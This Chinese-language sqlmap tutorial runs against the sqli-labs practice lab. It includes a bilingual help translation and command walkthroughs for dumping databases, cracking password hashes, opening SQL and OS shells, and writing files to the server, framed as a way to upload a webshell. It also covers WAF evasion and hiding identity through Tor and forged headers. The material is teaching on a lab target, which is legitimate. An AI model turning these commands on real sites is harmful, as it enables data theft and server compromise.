1.简介

2.说明书翻译

3.   基础命令汇总

4.基础命令尝试

5.高级用法

 

 

壹 

    sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、SybaseSAP MaxDB

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

    sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

 

 

sqlmap -h #查看帮助菜单

sqlmap工具跑的时候什么时候要加cookies_SQL

这里上网找了一个中英文对照版的sqlmap -h 的内容详解

Usage: python sqlmap.py [options]
 
Options(选项):
 
  -h, --help            Show basic help message and exit        显示此帮助消息并退出
  -hh                   Show advanced help message and exit     展示先进的帮助信息并退出
  --version             Show program's version number and exit  显示程序的版本号并退出
  -v VERBOSE            Verbosity level: 0-6 (default 1)        详细级别:0-6(默认为1) 
 
  Target(目标):
 
    At least one of these options has to be provided to define the  
    target(s)
    以下至少需要设置其中一个选项,设置目标URL。
 
    -d DIRECT           Connection string for direct database connection        直接连接到数据库。
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")   目标URL。
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file   解析目标(s)从Burp或WebScarab代理日志文件
    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file          解析目标(s)从远程站点地图文件(.xml)
    -m BULKFILE         Scan multiple targets given in a textual file           扫描文本文件中给出的多个目标
    -r REQUESTFILE      Load HTTP request from a file                           从文件加载HTTP请求
    -g GOOGLEDORK       Process Google dork results as target URLs              处理Google dork的结果作为目标URL。
    -c CONFIGFILE       Load options from a configuration INI file              从INI配置文件中加载选项。
 
  Request(请求):
 
    These options can be used to specify how to connect to the target URL   这些选项可以用来指定如何连接到目标URL。
 
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)          强制使用给定的HTTP方法(e.g. PUT)
    --data=DATA         Data string to be sent through POST                  通过POST发送的数据字符串
    --param-del=PARA..  Character used for splitting parameter values        用于拆分参数值的字符
    --cookie=COOKIE     HTTP Cookie header value                             HTTP Cookie头的值
    --cookie-del=COO..  Character used for splitting cookie values           用于分割Cookie值的字符
    --load-cookies=L..  File containing cookies in Netscape/wget format      包含Netscape / wget格式的cookie的文件
    --drop-set-cookie   Ignore Set-Cookie header from response               从响应中忽略Set-Cookie头
    --user-agent=AGENT  HTTP User-Agent header value                         指定 HTTP User - Agent头  
    --random-agent      Use randomly selected HTTP User-Agent header value   使用随机选定的HTTP User - Agent头 
    --host=HOST         HTTP Host header value                                HTTP主机头值
    --referer=REFERER   HTTP Referer header value                             指定 HTTP Referer头
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")      额外header
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123") 额外header
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP认证类型(Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)       HTTP认证凭证(name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file         HTTP认证 PEM认证/私钥文件
    --ignore-401        Ignore HTTP Error 401 (Unauthorized)                  忽略HTTP错误401(未经授权)
    --proxy=PROXY       Use a proxy to connect to the target URL              使用代理连接到目标网址
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)      代理认证证书(name:password) 
    --proxy-file=PRO..  Load proxy list from a file                           从文件中加载代理列表
    --ignore-proxy      Ignore system default proxy settings                  忽略系统默认代理设置
    --tor               Use Tor anonymity network                             使用Tor匿名网络
    --tor-port=TORPORT  Set Tor proxy port other than default                 设置Tor代理端口而不是默认值
    --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) 设置Tor代理类型
    --check-tor         Check to see if Tor is used properly                  检查Tor是否正确使用
    --delay=DELAY       Delay in seconds between each HTTP request             每个HTTP请求之间的延迟(秒)
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30) 秒超时连接前等待(默认30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)       连接超时时重试(默认值3)
    --randomize=RPARAM  Randomly change value for given parameter(s)           随机更改给定参数的值(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing         在测试期间频繁访问的URL地址
    --safe-post=SAFE..  POST data to send to a safe URL                        POST数据发送到安全URL
    --safe-req=SAFER..  Load safe HTTP request from a file                     从文件加载安全HTTP请求
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL   在两次访问给定安全网址之间测试请求
    --skip-urlencode    Skip URL encoding of payload data                      跳过有效载荷数据的URL编码
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token                 参数用于保存anti-CSRF令牌
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token        提取anti-CSRF URL地址访问令牌
    --force-ssl         Force usage of SSL/HTTPS                               强制使用SSL / HTTPS
    --hpp               Use HTTP parameter pollution method                    使用HTTP参数pollution的方法
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g. 评估请求之前提供Python代码
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")
 
  Optimization(优化):
 
    These options can be used to optimize the performance of sqlmap    这些选项可用于优化sqlmap的性能
 
    -o                  Turn on all optimization switches                        开启所有优化开关
    --predict-output    Predict common queries output                            预测常见的查询输出
    --keep-alive        Use persistent HTTP(s) connections                       使用持久的HTTP(S)连接
    --null-connection   Retrieve page length without actual HTTP response body   从没有实际的HTTP响应体中检索页面长度
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)    最大的HTTP(S)请求并发量(默认为1)
 
  Injection(注入):
 
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts 
    这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
 
    -p TESTPARAMETER    Testable parameter(s)                                      可测试的参数(S)
    --skip=SKIP         Skip testing for given parameter(s)                        跳过对给定参数的测试
    --skip-static       Skip testing parameters that not appear to be dynamic      跳过测试不显示为动态的参数
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")     使用正则表达式排除参数进行测试(e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to this value                          强制后端的DBMS为此值  
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)            DBMS认证凭证(user:password) 
    --os=OS             Force back-end DBMS operating system to this value         强制后端的DBMS操作系统为这个值
    --invalid-bignum    Use big numbers for invalidating values                    使用大数字使值无效
    --invalid-logical   Use logical operations for invalidating values             使用逻辑操作使值无效
    --invalid-string    Use random strings for invalidating values                 使用随机字符串使值无效
    --no-cast           Turn off payload casting mechanism                         关闭有效载荷铸造机制
    --no-escape         Turn off string escaping mechanism                         关闭字符串转义机制
    --prefix=PREFIX     Injection payload prefix string                            注入payload字符串前缀
    --suffix=SUFFIX     Injection payload suffix string                            注入payload字符串后缀  
    --tamper=TAMPER     Use given script(s) for tampering injection data           使用给定的脚本(S)篡改注入数据
 
  Detection(检测):
 
    These options can be used to customize the detection phase 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
 
    --level=LEVEL       Level of tests to perform (1-5, default 1)          执行测试的等级(1-5,默认为1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)           执行测试的风险(0-3,默认为1)
    --string=STRING     String to match when query is evaluated to True     查询时有效时在页面匹配字符串 
    --not-string=NOT..  String to match when query is evaluated to False    当查询求值为无效时匹配的字符串
    --regexp=REGEXP     Regexp to match when query is evaluated to True     查询时有效时在页面匹配正则表达式
    --code=CODE         HTTP code to match when query is evaluated to True  当查询求值为True时匹配的HTTP代码
    --text-only         Compare pages based only on the textual content     仅基于在文本内容比较网页
    --titles            Compare pages based only on their titles            仅根据他们的标题进行比较
 
  Techniques(技巧):
 
    These options can be used to tweak testing of specific SQL injection
    techniques 
    这些选项可用于调整具体的SQL注入测试。 
 
    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")      SQL注入技术测试(默认BEUST)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)          DBMS响应的延迟时间(默认为5秒)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection  定列范围用于测试UNION查询注入
    --union-char=UCHAR  Character to use for bruteforcing number of columns     用于暴力猜解列数的字符
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection  要在UNION查询SQL注入的FROM部分使用的表
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack            域名用于DNS漏出攻击
    --second-order=S..  Resulting page URL searched for second-order response   生成页面的URL搜索为second-order响应
 
  Fingerprint(指纹):
 
    -f, --fingerprint   Perform an extensive DBMS version fingerprint           执行检查广泛的DBMS版本指纹
 
  Enumeration(枚举):
 
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements                  
    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。  
 
    -a, --all           Retrieve everything                             检索一切
    -b, --banner        Retrieve DBMS banner                            检索数据库管理系统的标识  
    --current-user      Retrieve DBMS current user                      检索数据库管理系统的标识  
    --current-db        Retrieve DBMS current database                  检索数据库管理系统当前数据库  
    --hostname          Retrieve DBMS server hostname                   检索数据库服务器的主机名
    --is-dba            Detect if the DBMS current user is DBA          检测DBMS当前用户是否DBA  
    --users             Enumerate DBMS users                            枚举数据库管理系统用户
    --passwords         Enumerate DBMS users password hashes            枚举数据库管理系统用户密码哈希
    --privileges        Enumerate DBMS users privileges                 枚举数据库管理系统用户的权限  
    --roles             Enumerate DBMS users roles                      枚举数据库管理系统用户的角色  
    --dbs               Enumerate DBMS databases                        枚举数据库管理系统数据库
    --tables            Enumerate DBMS database tables                  枚举的DBMS数据库中的表  
    --columns           Enumerate DBMS database table columns           枚举DBMS数据库表列
    --schema            Enumerate DBMS schema                           枚举数据库架构
    --count             Retrieve number of entries for table(s)         检索表的条目数
    --dump              Dump DBMS database table entries                转储数据库管理系统的数据库中的表项
    --dump-all          Dump all DBMS databases tables entries               转储数据库管理系统的数据库中的表项
    --search            Search column(s), table(s) and/or database name(s)   搜索列(S),表(S)和/或数据库名称(S)
    --comments          Retrieve DBMS comments                               检索数据库的comments(注释、评论)
    -D DB               DBMS database to enumerate                           要进行枚举的数据库名 
    -T TBL              DBMS database table(s) to enumerate                  要进行枚举的数据库表
    -C COL              DBMS database table column(s) to enumerate           要进行枚举的数据库列 
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate       要不进行枚举的数据库列 
    -U USER             DBMS user to enumerate                               用来进行枚举的数据库用户 
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables   枚举表时排除系统数据库 
    --pivot-column=P..  Pivot column name                                       主列名称
    --where=DUMPWHERE   Use WHERE condition while table dumping                 使用WHERE条件进行表转储
    --start=LIMITSTART  First query output entry to retrieve                    第一个查询输出进入检索
    --stop=LIMITSTOP    Last query output entry to retrieve                     最后查询的输出进入检索
    --first=FIRSTCHAR   First query output word character to retrieve           第一个查询输出字的字符检索 
    --last=LASTCHAR     Last query output word character to retrieve            最后查询的输出字字符检索 
    --sql-query=QUERY   SQL statement to be executed                            要执行的SQL语句
    --sql-shell         Prompt for an interactive SQL shell                     提示交互式SQL的shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)               从给定文件执行SQL语句
 
  Brute force(蛮力):
 
    These options can be used to run brute force checks         这些选项可以被用来运行蛮力检查。
 
    --common-tables     Check existence of common tables        检查存在共同表 
    --common-columns    Check existence of common columns       检查存在共同列
 
  User-defined function injection(用户自定义函数注入):
    These options can be used to create custom user-defined functions   这些选项可以用来创建用户自定义函数。
 
    --udf-inject        Inject custom user-defined functions        注入用户自定义函数  
    --shared-lib=SHLIB  Local path of the shared library            共享库的本地路径 
 
  File system access(访问文件系统):
 
    These options can be used to access the back-end database management      
    system underlying file system
    这些选项可以被用来访问后端数据库管理系统的底层文件系统。
 
    --file-read=RFILE   Read a file from the back-end DBMS file system        从后端的数据库管理系统文件系统读取文件  
    --file-write=WFILE  Write a local file on the back-end DBMS file system   编辑后端的数据库管理系统文件系统上的本地文件
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to           后端的数据库管理系统写入文件的绝对路径
 
  Operating system access(操作系统访问):
 
    These options can be used to access the back-end database management
    system underlying operating system  
    这些选项可以用于访问后端数据库管理系统的底层操作系统。
 
    --os-cmd=OSCMD      Execute an operating system command                     执行操作系统命令 
    --os-shell          Prompt for an interactive operating system shell        交互式的操作系统的shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC             获取一个OOB shell,meterpreter或VNC 
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC   一键获取一个OOB shell,meterpreter或VNC 
    --os-bof            Stored procedure buffer overflow exploitation           存储过程缓冲区溢出利用
    --priv-esc          Database process user privilege escalation              数据库进程用户权限提升
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed      Metasploit Framework本地的安装路径
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory       远程临时文件目录的绝对路径
 
  Windows registry access(Windows注册表访问):
 
    These options can be used to access the back-end database management
    system Windows registry     
    这些选项可以被用来访问后端数据库管理系统Windows注册表。
 
    --reg-read          Read a Windows registry key value           读一个Windows注册表项值
    --reg-add           Write a Windows registry key value data     写一个Windows注册表项值数据
    --reg-del           Delete a Windows registry key value         删除Windows注册表键值
    --reg-key=REGKEY    Windows registry key                        Windows注册表键 
    --reg-value=REGVAL  Windows registry key value                  Windows注册表项值 
    --reg-data=REGDATA  Windows registry key value data             Windows注册表键值数据  
    --reg-type=REGTYPE  Windows registry key value type             Windows注册表项值类型
 
  General(一般):
 
    These options can be used to set some general working parameters    这些选项可以用来设置一些一般的工作参数。 
 
    -s SESSIONFILE      Load session from a stored (.sqlite) file                   保存和恢复检索会话文件的所有数据
    -t TRAFFICFILE      Log all HTTP traffic into a textual file                    记录所有HTTP流量到一个文本文件中
    --batch             Never ask for user input, use the default behaviour         从不询问用户输入,使用所有默认配置。 
    --binary-fields=..  Result fields having binary values (e.g. "digest")          具有二进制值的结果字段
    --charset=CHARSET   Force character encoding used for data retrieval            强制用于数据检索的字符编码
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL              从目标网址开始抓取网站
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")       正则表达式排除网页抓取
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")       分隔CSV输出中使用的字符
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)       转储数据的格式
    --eta               Display for each output the estimated time of arrival       显示每个输出的预计到达时间
    --flush-session     Flush session files for current target                      刷新当前目标的会话文件
    --forms             Parse and test forms on target URL                          在目标网址上解析和测试表单
    --fresh-queries     Ignore query results stored in session file                 忽略在会话文件中存储的查询结果
    --hex               Use DBMS hex function(s) for data retrieval                 使用DBMS hex函数进行数据检索
    --output-dir=OUT..  Custom output directory path                                自定义输出目录路径
    --parse-errors      Parse and display DBMS error messages from responses        解析和显示响应中的DBMS错误消息
    --save=SAVECONFIG   Save options to a configuration INI file                    保存选项到INI配置文件
    --scope=SCOPE       Regexp to filter targets from provided proxy log            使用正则表达式从提供的代理日志中过滤目标
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)           根据有效负载和/或标题(e.g. ROW)选择测试
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)       根据有效负载和/或标题跳过测试(e.g. BENCHMARK)
    --update            Update sqlmap                                                更新SqlMap
 
  Miscellaneous(杂项):
 
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")         使用简短的助记符
    --alert=ALERT       Run host OS command(s) when SQL injection is found      在找到SQL注入时运行主机操作系统命令
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")           设置问题答案
    --beep              Beep on question and/or when SQL injection is found     发现SQL注入时提醒
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables   SqlMap具体的UDF和表清理DBMS 
    --dependencies      Check for missing (non-core) sqlmap dependencies        检查是否缺少(非内核)sqlmap依赖关系
    --disable-coloring  Disable console output coloring                         禁用控制台输出颜色
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number      使用Google dork结果指定页码
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection    对WAF / IPS / IDS保护进行全面测试
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection      跳过启发式检测WAF / IPS / IDS保护
    --mobile            Imitate smartphone through HTTP User-Agent header       通过HTTP User-Agent标头模仿智能手机
    --offline           Work in offline mode (only use session data)            在离线模式下工作(仅使用会话数据)
    --page-rank         Display page rank (PR) for Google dork results          Google dork结果显示网页排名(PR)
    --purge-output      Safely remove all content from output directory         安全地从输出目录中删除所有内容
    --smart             Conduct thorough tests only if positive heuristic(s)    只有在正启发式时才进行彻底测试
    --sqlmap-shell      Prompt for an interactive sqlmap shell                  提示交互式sqlmap shell
    --wizard            Simple wizard interface for beginner users              给初级用户的简单向导界面

 

这里我们以sqli-labs-master的Less-1为例子:

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
 
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
 
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
-level 0~5 探测等级,默认是1

 

 

对于不用登陆,GET交互的网站,例如Less-1,直接探测其URL是否存在漏洞:

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"  #探测该url是否存在漏洞

sqlmap工具跑的时候什么时候要加cookies_HTTP_02

这时出现了第一个交互请求:工具发现该网站数据库好像是MySQL,是否还要扫描其他类型的数据库,我们就不探测了,N

sqlmap工具跑的时候什么时候要加cookies_sed_03

第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。

sqlmap工具跑的时候什么时候要加cookies_sed_04

目前是风险较低的情况下进行尝试,可以有效防止目标服务器产生应激反制措施

这里说的就是目前id以及发现存在漏洞,是否还探测其他的地方,我们选N

sqlmap工具跑的时候什么时候要加cookies_sed_05

 

探测结束:

sqlmap工具跑的时候什么时候要加cookies_SQL_06

 

我们可以发现参数为ID地方,其中探测出了三个类型的漏洞:

sqlmap工具跑的时候什么时候要加cookies_SQL_07

 

探测出后台数据库为mysql,系统是ubuntu 8.04,Web服务器应用软件是php和Apache

sqlmap工具跑的时候什么时候要加cookies_SQL_08

 

所有探测数据都保存在了该目录下:

sqlmap工具跑的时候什么时候要加cookies_HTTP_09

sqlmap工具跑的时候什么时候要加cookies_sed_10

其中,LOG文件保存的是探测的漏洞结果;target.txt文件保存的是目标网站探测的目标网页目录;session.sqlite则是数据库里面爬下来的数据库加密文件,需要特殊的数据库软件才可以查看

 

对于部分POST交互数据的网站,这里我们用less-11作为演示:

可以手动指定它的请求包部分参数:

sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

要是我们需要指定cookie的话:

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

当然,我们也可以通过burp抓取一个请求包,给sqlmap自动探测它的可能存在漏洞的数据参数:

sqlmap工具跑的时候什么时候要加cookies_sed_11

保存为123.txt

sqlmap工具跑的时候什么时候要加cookies_sed_12

sqlmap工具跑的时候什么时候要加cookies_SQL_13

和url的GET交互探测一样,会有几个需要交互的问题,但是都大同小异

sqlmap工具跑的时候什么时候要加cookies_HTTP_14

找到了一个uname漏洞,不再继续探测了

sqlmap工具跑的时候什么时候要加cookies_sed_15

 

下面我们以POST交互提交请求包的探测方式为例,尝试执行基础的sqlmap命令

查看所有的数据库:

sqlmap -r 123.txt --dbs

sqlmap工具跑的时候什么时候要加cookies_HTTP_16

 

查看security数据库下所有的表:

sqlmap -r 123.txt -D security --tables

sqlmap工具跑的时候什么时候要加cookies_SQL_17

 

爆出security数据库中users表中的所有的数据:

sqlmap -r 123.txt -D security -T users --dump-all

sqlmap工具跑的时候什么时候要加cookies_HTTP_18

 

查看数据库所有用户:

sqlmap -r 123.txt --users

sqlmap工具跑的时候什么时候要加cookies_sed_19

 

查看数据库用户名的密码:

sqlmap工具跑的时候什么时候要加cookies_HTTP_20

是否保存密码哈希值为文件?N

sqlmap工具跑的时候什么时候要加cookies_sed_21

使用默认字典进行爆破?Y

数据库root用户密码为123:

sqlmap工具跑的时候什么时候要加cookies_HTTP_22

 

查看当前用户;

sqlmap -r 123.txt --current-user

sqlmap工具跑的时候什么时候要加cookies_sed_23

 

判断当前用户是否有管理员权限:

sqlmap -r 123.txt --is-dba

sqlmap工具跑的时候什么时候要加cookies_sed_24

 

列出数据库所有管理员角色:

sqlmap -r 123.txt --roles

sqlmap工具跑的时候什么时候要加cookies_SQL_25

 

 

sqlmap的高阶用法

这里要是嫌弃你的sqlmap版本太老旧可以升级一下

但是千万不要--update,全网都在出错,最好先升级一下源,然后重新安装:apt-get install sqlmap

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供59个绕过脚本(1.4.2 version)。

sqlmap工具跑的时候什么时候要加cookies_HTTP_26

注意脚本目录

--identify-waf   检测是否有WAF
 
#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入

 

指定脚本

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)

sqlmap  --tamper=space2comment.py  #用/**/代替空格
sqlmap  --tamper="space2comment.py,space2plus.py"  指定多个脚本进行过滤

每个版本的说明在这个大佬的博客里有讲到,贴一下


sqlmap工具跑的时候什么时候要加cookies_HTTP_27

 

 

探测等级和危险等级:

前面第一节演示sqlmap的GET注入时有个默认的都是等级1,这里可以详细的说明一下:

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP  User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3

就好像nmap扫网站一样,还是建议从低级一步步往上增加等级,就怕一下子被网站的防御系统应激屏蔽你的ip了,那刻就完蛋了

sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads

sqlmap工具跑的时候什么时候要加cookies_HTTP_28

 

我们在进行网站渗透的时候,还可以伪造HTTP Referer头部数据:

sqlmap工具跑的时候什么时候要加cookies_HTTP_29

简单地说,就是可以隐藏自己的身份

sqlmap工具跑的时候什么时候要加cookies_SQL_30

假装自己是csdn......

 

利用框架:sqlmap有两个很牛逼的框架:--sql-shell 和 --os-shell

 

--sql-shell:

sqlmap -r 123.txt --level=5 --risk=1 --sql-shell

然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号 :

sqlmap工具跑的时候什么时候要加cookies_HTTP_31

宛若自己进入了MySQL命令行下......

sqlmap工具跑的时候什么时候要加cookies_HTTP_32

可以进行增删改查......

sqlmap工具跑的时候什么时候要加cookies_sed_33

q退出

 

--os-shell:

在数据库为Mysql、PostgreSql或者SQL Server时,当满足下面三个条件,我们就可以执行操作系统命令

  • 网站必须是root权限
  • 攻击者需要知道网站的绝对路径
  • GPC为off,php主动转义的功能关闭

但是我尝试了给www下的sqli文件夹777权限之后还是进不去,存在一定的问题......

 

 

上传文件到数据库服务器中

当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

sqlmap -r 123.txt  --file-write eval.php --file-dest"/var/www/sqli-labs-master/Less-1/eval.php"

 

从数据库中读取文件

当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

sqlmap -r 123.txt --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件

 

 

___
       __H__
 ___ ___[)]_____ ___ ___  
|_ -| . ["]     | .'| . | //alexz
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|